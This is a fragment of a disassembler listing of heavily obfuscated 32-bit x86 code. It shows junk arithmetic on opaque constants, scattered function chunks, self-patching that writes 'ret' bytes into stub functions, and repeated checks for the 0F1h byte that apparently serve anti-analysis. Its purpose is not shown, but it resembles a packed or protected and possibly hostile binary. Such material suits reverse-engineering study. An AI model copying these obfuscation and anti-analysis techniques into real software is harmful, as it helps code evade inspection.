sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10019EBF: ; CODE XREF: sub_100194EA+7j jb loc_10019ED7 mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_10016EE5 loc_10019ED7: ; CODE XREF: sub_100194EA:loc_10019EBFj cmp dword ptr [ebp-8], 0A22F8A70h jz loc_1001B7CA jmp loc_10019282 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10019EE9: ; CODE XREF: sub_10019409:loc_1001965Dj jnz loc_1001416D jmp loc_1001BA4F ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- loc_10019EF4: ; CODE XREF: an.kk9rg:100136D2j xchg ebx, esi ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10019EF6: ; CODE XREF: sub_100145ED:loc_100136BDj xor edx, 26494C77h add edx, ebp add edx, 91B4B305h push offset loc_1001C900 jmp nullsub_197 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10019F0E: ; CODE XREF: sub_10016D04+Ej jnz loc_10013ABF jmp loc_1001B54B ; END OF FUNCTION CHUNK FOR sub_10016D04 ; =============== S U B R O U T I N E ======================================= sub_10019F19 proc near ; CODE XREF: an.kk9rg:100177C5j ; sub_100180C2+3j ; FUNCTION CHUNK AT 1001639F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017FA3 SIZE 00000005 BYTES add esp, 0FFFFFFECh mov eax, (offset loc_10013FEE+2) call sub_1001D1DB cmp ds:dword_10013FFC, 0 jnz loc_1001820A jmp loc_10017FA3 sub_10019F19 endp ; --------------------------------------------------------------------------- loc_10019F38: ; CODE XREF: an.kk9rg:1001C60Cj call sub_1001DBEB jmp loc_10015645 ; --------------------------------------------------------------------------- pop ecx call sub_1001DBDB ; START OF FUNCTION CHUNK FOR sub_10017A34 loc_10019F48: ; CODE XREF: sub_10017A34+1Fj jmp loc_1001B07E ; END OF FUNCTION CHUNK FOR sub_10017A34 ; --------------------------------------------------------------------------- loc_10019F4D: ; CODE XREF: an.kk9rg:10016877j jp sub_1001A365 loc_10019F53: ; CODE XREF: an.kk9rg:1001C114j sub edx, 0A20B24ECh add edx, 3E95F154h jmp loc_1001DE88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10019F64: ; CODE XREF: sub_1001504E:loc_10018037j jnz loc_1001DB74 jmp loc_1001C611 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015353 loc_10019F6F: ; CODE XREF: sub_10015353:loc_100137FBj mov dword ptr [ebp-18h], 0 loc_10019F76: ; CODE XREF: sub_100141E3+7j ; an.kk9rg:1001C23Ej mov eax, [ebp-4] mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push offset loc_1001D624 jmp sub_1001406F ; END OF FUNCTION CHUNK FOR sub_10015353 ; --------------------------------------------------------------------------- or edi, ebx jmp loc_100194E8 ; --------------------------------------------------------------------------- loc_10019F92: ; DATA XREF: an.kk9rg:1001477Fo jz loc_1001D07F mov ebx, [ebx+ecx] call sub_1001A4DF jmp loc_1001D07F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10019FA5: ; CODE XREF: sub_100193F2:loc_10014AFAj add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_1001D07F call sub_10018B90 jmp loc_10016775 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10019FBE: ; CODE XREF: sub_100136D7:loc_10019725j jz loc_1001A637 call sub_1001C6B0 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10019FC9: ; CODE XREF: sub_10015995+5j jmp loc_1001AA3A ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100143F5 loc_10019FCE: ; CODE XREF: sub_100143F5+9j jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_100143F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10019FD4: ; CODE XREF: sub_10015B1B+818Dj jmp loc_1001D476 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- loc_10019FD9: ; CODE XREF: an.kk9rg:1001AB00j shr eax, 0Ch ; =============== S U B R O U T I N E ======================================= sub_10019FDC proc near ; CODE XREF: sub_10016D66:loc_100163EBp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100185F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100187C3 SIZE 00000015 BYTES xchg edi, [esp+4+var_4] pop edi xchg edi, [esp+0] push 1848549Ah pop eax sub eax, 6342449Eh xor eax, 1D70672Bh jmp loc_100185F0 sub_10019FDC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100170BC loc_10019FFA: ; CODE XREF: sub_100170BC+16j sub ebx, 32D5FF3Ch add ebx, 0C556AB42h mov [ebx], eax pop ebx loc_1001A009: ; CODE XREF: sub_10015066:loc_10016799j jmp loc_1001DAD8 ; END OF FUNCTION CHUNK FOR sub_100170BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B913 loc_1001A00E: ; CODE XREF: sub_1001B913+7j mov ecx, ebp loc_1001A010: ; CODE XREF: an.kk9rg:1001D400j xchg ecx, [esp+4+var_4] mov ebp, esp push ecx mov esp, ebp pop ebp push 7AA404F7h pop eax jmp loc_10016EBD ; END OF FUNCTION CHUNK FOR sub_1001B913 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001A024 proc near ; CODE XREF: an.kk9rg:10019CC1p ; an.kk9rg:1001BC46p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014669 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016C1C SIZE 00000010 BYTES push edx mov edx, ebp xchg edx, [esp+4+var_4] mov ebp, esp jmp loc_10014669 sub_1001A024 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001A031: ; CODE XREF: sub_100136D7:loc_10016BC5j add ebx, 7D581C73h shl ebx, 1Eh jmp loc_10017F60 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A03F: ; CODE XREF: sub_10016D66-35Cj test ebp, ecx jmp loc_10014F5D ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_1001A046: ; CODE XREF: sub_1001C9F8-9422j jz loc_100172D0 push 3B1D6F5Ah loc_1001A051: ; CODE XREF: sub_1001C9F8:loc_100135CEj add edi, 77CD55EBh xchg edi, [esp+4+var_4] jmp loc_100174DB ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; --------------------------------------------------------------------------- sub esi, 575AFCC9h jmp sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001A06A: ; CODE XREF: sub_10015E0D:loc_10016CC5j mov eax, [ebp+var_4] push offset sub_10015DCF jmp nullsub_139 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001A078: ; CODE XREF: sub_1001492C:loc_1001DB55j jnz loc_1001DF4B jmp loc_10017487 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- jle loc_10015030 xor ecx, 0FA5FC45h jmp sub_1001B692 ; --------------------------------------------------------------------------- loc_1001A094: ; DATA XREF: sub_100179FF:loc_10015EA3o mov eax, [eax] or eax, eax jnz loc_100197D3 jmp loc_1001600F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_1001A0A3: ; CODE XREF: sub_1001997C-D70j nop mov eax, [esp-4+arg_0] call sub_100174F4 locret_1001A0AC: ; CODE XREF: sub_10018E56:loc_10014070j retn ; END OF FUNCTION CHUNK FOR sub_1001997C ; =============== S U B R O U T I N E ======================================= sub_1001A0AD proc near ; CODE XREF: sub_1001A8DD-1B61j ; FUNCTION CHUNK AT 1001754B SIZE 00000004 BYTES push ebp xor esi, 0E19C0C6Dh jmp loc_1001754B sub_1001A0AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A0B9: ; CODE XREF: sub_100180C2-128Dj ; sub_10016D66:loc_10018480j jg loc_1001774C loc_1001A0BF: ; CODE XREF: sub_100180C2:loc_10016E27j xor edx, 3EDADB65h add eax, edx push offset sub_1001A97E jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001A0D1: ; CODE XREF: sub_1001701B-27E3j pop edi and edi, 0A41FFDDEh add edi, 0EBF12DA1h xchg edi, [esp+8+var_8] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- pop edx jmp sub_10015190 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001A0EC: ; CODE XREF: sub_100130C7:loc_10019720j add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax loc_1001A0F8: ; CODE XREF: sub_100130C7:loc_100181B0j mov eax, [ebp-8] shl eax, 0Fh add [ebp-8], eax jmp loc_1001D48F ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- test eax, eax jz loc_1001B00C jmp loc_10015E5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_1001A113: ; CODE XREF: sub_1001CBA8:loc_1001B13Ej ; DATA XREF: sub_1001A8DD-3383o xchg edi, [esp-8+arg_4] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_1001440E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A123: ; CODE XREF: sub_10016D66-B15j xor ebx, 0F9122Ah push esi jmp loc_10013207 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_1001A12F proc near ; DATA XREF: sub_1001893F-C65o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014E0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015002 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 100161B7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10016A34 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E50 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100198F5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001A6A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C7A9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001CF87 SIZE 00000006 BYTES cmp byte ptr [eax], 0F1h jnz loc_10016E57 jmp loc_10016A34 sub_1001A12F endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edi push 95401B98h pop edi or edi, 4C6C239h jmp loc_1001403F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001A14F: ; CODE XREF: sub_10015C14:loc_10015C27j adc eax, ebp jmp loc_100171BC ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001A156: ; CODE XREF: sub_10015988+5F7Cj or eax, 957B44FEh cmp ebx, 2F23B1F0h jmp loc_10019C71 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_1001A167: ; CODE XREF: sub_1001679F:loc_10016378j or eax, eax jnz loc_100140B1 jmp loc_1001DEC9 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001A174: ; CODE XREF: sub_1001C535-2D8Fj jz loc_1001916F jmp loc_1001B730 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- locret_1001A17F: ; CODE XREF: an.kk9rg:10019A33j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001A180: ; CODE XREF: sub_1001564A+46BAj jmp loc_10014A67 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_1001A185: ; CODE XREF: sub_100132E5+1j mov ebp, esp push ecx push ecx push 0A4A0656Fh pop ecx or ecx, 8E3ADB11h and ecx, 2B5B78A4h jmp loc_10015C2C ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- loc_1001A1A0: ; CODE XREF: an.kk9rg:loc_10014BD7j mov al, [eax] jno loc_10013280 sub al, 99h push 9E2235A6h pop edx sub edx, 17DA9F6Ch ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001A1B6: ; CODE XREF: sub_10018E79:loc_10016105j jmp loc_1001C896 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001A1BB: ; CODE XREF: sub_10016A1B+13j ; sub_100136D7:loc_1001B7E4j inc eax mov eax, [eax] add eax, [ebp-4] jmp loc_10017E8A ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001A1C6: ; CODE XREF: sub_100193F2:loc_1001891Aj mov eax, [ebp-4] jmp loc_1001B441 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001A1CE: ; CODE XREF: an.kk9rg:loc_100185E5j jmp ds:dword_10002040 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B982 loc_1001A1D4: ; CODE XREF: sub_1001B982+11j jmp loc_1001B425 ; END OF FUNCTION CHUNK FOR sub_1001B982 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001A1D9: ; CODE XREF: sub_10013BB8-23Bj jmp loc_1001D065 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] db 56h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_1001A1E3: ; CODE XREF: sub_10018C76-3BBEj jmp sub_1001A810 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014FD4 loc_1001A1E8: ; CODE XREF: sub_10014FD4+7j jmp sub_10016B29 ; END OF FUNCTION CHUNK FOR sub_10014FD4 ; --------------------------------------------------------------------------- loc_1001A1ED: ; CODE XREF: an.kk9rg:1001C244j not esi loc_1001A1EF: ; CODE XREF: an.kk9rg:loc_1001C238j or eax, 0D6E9883Fh add eax, 794D773h add eax, ebp jmp loc_10019523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001A202: ; CODE XREF: sub_10015B5D:loc_100186DAj and eax, 6294FEE7h add eax, 7D52C4FFh add eax, ebp add eax, 2098647Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_10018C2F jmp loc_10018EB2 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- xor eax, ebp or eax, 471853Dh jmp sub_1001691F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001A233: ; CODE XREF: sub_100180C2+251j push edx push 0A79FF7Dh pop edx xor edx, 0D354BA0Bh jmp loc_100156E1 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001A245: ; CODE XREF: sub_10018066:loc_100192B6j ; sub_10018066+125Bj add esi, 0C35D16DBh xor esi, 0D12B94D2h add esi, ebp add esi, 53CD91F5h mov [esi], eax pop esi jmp loc_10018CB6 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- loc_1001A261: ; CODE XREF: an.kk9rg:loc_10016CDAj or eax, ebx ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001A263: ; CODE XREF: sub_10015E0D:loc_10016CBFj add esi, 0C60192C8h xchg esi, [esp+4+var_4] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_1001A271: ; CODE XREF: an.kk9rg:10016AC2j jge sub_10015743 ; =============== S U B R O U T I N E ======================================= sub_1001A277 proc near ; CODE XREF: an.kk9rg:10017EE3p xchg esi, [esp+0] pop esi lea eax, nullsub_195 mov byte ptr [eax], 0C3h jmp nullsub_195 sub_1001A277 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001A289: ; CODE XREF: an.kk9rg:10018D20j mov eax, [esp] push edx call sub_1001ABFD jmp loc_10013019 ; --------------------------------------------------------------------------- loc_1001A297: ; CODE XREF: an.kk9rg:loc_100158C1j jz loc_100158DB jmp loc_10016A16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A2A2: ; CODE XREF: sub_10013389+154Bj jnz loc_100133CB xchg ebp, eax add ecx, 1F9C6D6Dh jmp loc_100133C1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001A2B5: ; CODE XREF: an.kk9rg:1001B6C3j xor ebp, 4B80E6AFh loc_1001A2BB: ; CODE XREF: an.kk9rg:loc_1001B6B3j or ebx, 9717E671h test ebx, 4 jmp loc_10016B64 ; =============== S U B R O U T I N E ======================================= sub_1001A2CC proc near ; CODE XREF: sub_1001BBDA-6AC1p ; an.kk9rg:1001A6B6j ; FUNCTION CHUNK AT 1001360F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016984 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017DFE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C0BB SIZE 0000000B BYTES xchg edi, [esp+0] pop edi add eax, ebp add eax, 36061A3Dh mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_1001C0BB sub_1001A2CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb eax, edi jmp loc_1001780F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001A2E9: ; CODE XREF: sub_10013061+A6DAj pop edi rol edx, 1Bh sub edx, 3BE40DC2h jb loc_100194B8 ; END OF FUNCTION CHUNK FOR sub_10013061 ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_1001A2F9: ; CODE XREF: sub_1001C547-7706j jmp loc_1001C7B0 ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- add ebx, 39FBCD51h ror eax, 0Eh and ecx, 9038E282h jmp loc_100194B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001A312: ; CODE XREF: sub_1001767A+1B5Ej add eax, 0D8E5CEE1h adc edx, 58BEF90Dh mov ecx, [esi] jmp loc_1001DAC3 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_1001A325: ; CODE XREF: an.kk9rg:10015391j jns loc_10015A5B jno loc_10015638 cmp ecx, 2A74925Dh jmp loc_100130AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194D6 loc_1001A33C: ; CODE XREF: sub_100194D6+Dj and ebx, 875AEEE5h or ebx, 8F65D744h add ebx, 8099B1DEh xchg ebx, [esp+4+var_4] jmp sub_100174F4 ; END OF FUNCTION CHUNK FOR sub_100194D6 ; --------------------------------------------------------------------------- mov [edx], edi adc esi, edi jmp sub_10017667 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A360: ; CODE XREF: sub_10016D66+FB7j jmp loc_1001948E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_1001A365 proc near ; CODE XREF: sub_10018066-3C00p ; an.kk9rg:100176FCj ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10018F3D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019A9E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001B3B9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CDB3 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_10019030 loc_1001A36E: ; CODE XREF: an.kk9rg:loc_10019DA6j xchg ebp, [esp+0] jmp loc_10018F3D sub_1001A365 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001A376: ; CODE XREF: sub_1001ABFD:loc_1001DF1Fj jns loc_1001CB1A pushf ror eax, 0Ah xor ebx, 1C3A43E7h popf jmp loc_100194F6 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001A38C: ; CODE XREF: sub_1001B5A3-63D8j mov eax, 0A2CD59D9h push edi push 0EE04F09Ch pop edi jmp loc_100173C7 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001A39E: ; CODE XREF: an.kk9rg:10018CF3j jmp loc_100151A8 ; --------------------------------------------------------------------------- shr ecx, 1 jmp sub_1001B45F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001A3AA: ; CODE XREF: sub_100174F4:loc_10013982j ; sub_100174F4+2063j xor edx, 0EAC78DCDh add edx, 151330B0h xchg edx, [esp+8+var_8] jmp loc_10018934 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; =============== S U B R O U T I N E ======================================= sub_1001A3BE proc near ; CODE XREF: sub_1001CC01j ; DATA XREF: sub_10019C34+2FC3o ; FUNCTION CHUNK AT 1001D08A SIZE 00000005 BYTES jnz loc_1001D1EB jmp loc_1001D08A sub_1001A3BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D1DB loc_1001A3C9: ; CODE XREF: sub_1001D1DB:loc_1001D1EBj push eax push 0 loc_1001A3CC: ; CODE XREF: sub_10019571:loc_1001A5D2j call sub_1001CB33 pop eax jmp loc_1001CB25 ; END OF FUNCTION CHUNK FOR sub_1001D1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001A3D7: ; CODE XREF: sub_1001B3CA+Dj jz loc_1001ABF0 jmp loc_1001417F ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- xchg esi, [ecx] jmp sub_1001C77E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A3EA: ; CODE XREF: sub_10017BF9+588Ej jmp loc_1001A740 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_1001A3EF: ; CODE XREF: an.kk9rg:10014EBAj jmp locret_10017C73 ; =============== S U B R O U T I N E ======================================= sub_1001A3F4 proc near ; CODE XREF: sub_10015860:loc_100167AFj ; FUNCTION CHUNK AT 1001DAE7 SIZE 0000000F BYTES add esp, 0FFFFFFECh cmp ds:byte_10019638, 0 jnz loc_1001DAE7 lea edx, [ebp-14h] mov eax, offset dword_10019644 call sub_10019030 lea eax, [ebp-14h] push offset sub_100191F9 jmp nullsub_58 sub_1001A3F4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001A41E: ; CODE XREF: sub_100194EA:loc_1001B8B5j lea eax, [ebp-125h] push eax call sub_100142E8 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_10018C91 lea eax, [ebp-125h] push eax jmp loc_10018C89 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- locret_1001A443: ; CODE XREF: an.kk9rg:loc_10019A50j retn ; --------------------------------------------------------------------------- loc_1001A444: ; CODE XREF: sub_10017FE2+Cj jmp loc_100199A8 ; --------------------------------------------------------------------------- mov eax, 92B16BD7h push esi push 0A8CD5A81h xchg ebx, [esp] jmp loc_1001A8A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_1001A45C: ; CODE XREF: sub_10015DB9:loc_100158A8j push offset loc_1001A789 jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001A466: ; CODE XREF: sub_10016167:loc_1001B819j add eax, 80395231h mov eax, [eax] push eax push offset loc_100164A2 jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_1001A479: ; CODE XREF: an.kk9rg:1001B019j xchg ebx, [esp] pop ebx mov eax, 131h push ebx jmp loc_10019131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001A488: ; CODE XREF: sub_1001C2D8-6376j popf pushf shr ecx, 7 loc_1001A48D: ; CODE XREF: sub_1001C2D8:loc_1001AD55j push 7F8B08FAh pop eax jmp loc_100157CB ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001A498: ; CODE XREF: sub_1001893F:loc_10015A11j xor eax, 6FBB2124h rol eax, 1Dh xor eax, 0D119625Eh jmp loc_1001742A ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AE1D loc_1001A4AC: ; CODE XREF: sub_1001AE1Dj mov eax, ds:dword_1001401C or eax, eax jnz loc_1001B2BF jmp loc_1001434A ; END OF FUNCTION CHUNK FOR sub_1001AE1D ; --------------------------------------------------------------------------- loc_1001A4BF: ; DATA XREF: sub_1001CFB1+6o mov byte ptr [eax], 0C3h jmp nullsub_160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001A4C7: ; CODE XREF: sub_10016D04+5664j add eax, ebp add eax, 367EE829h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001921B loc_1001A4DA: ; CODE XREF: an.kk9rg:1001BBCFj jmp loc_10016F0E ; END OF FUNCTION CHUNK FOR sub_10016D04 ; =============== S U B R O U T I N E ======================================= sub_1001A4DF proc near ; CODE XREF: an.kk9rg:10019F9Bp ; sub_1001D076+4p ... ; FUNCTION CHUNK AT 10018338 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001DA41 SIZE 00000005 BYTES xor bx, bx add ebx, 10000h loc_1001A4E8: ; CODE XREF: sub_10013BAD+4j ; sub_1001A4DF-21A1j jo loc_10018345 sub ebx, 10000h mov eax, [ebx] jmp loc_1001DA41 sub_1001A4DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001A4FB: ; CODE XREF: sub_10015BFC:loc_1001B6B9j jz loc_10018717 jmp loc_100157E9 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001A506: ; CODE XREF: sub_100188EE-1095j ; sub_1001D251+498j add eax, 0C49E3B5Bh sub eax, 3DBF4CE2h loc_1001A512: ; CODE XREF: sub_1001D251:loc_1001DA92j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_10019609 ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_1001A51D proc near ; CODE XREF: sub_1001D88D-8D18p ; an.kk9rg:100169F0j ; FUNCTION CHUNK AT 100141A8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016075 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov ebp, esp push ecx jmp loc_100141A8 sub_1001A51D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001A529: ; CODE XREF: sub_1001564A:loc_100152A7j call sub_100136FF loc_1001A52E: ; CODE XREF: sub_1001A97E+262Ej jmp loc_1001563D ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_1001A533 proc near ; CODE XREF: sub_10013389+168p ; 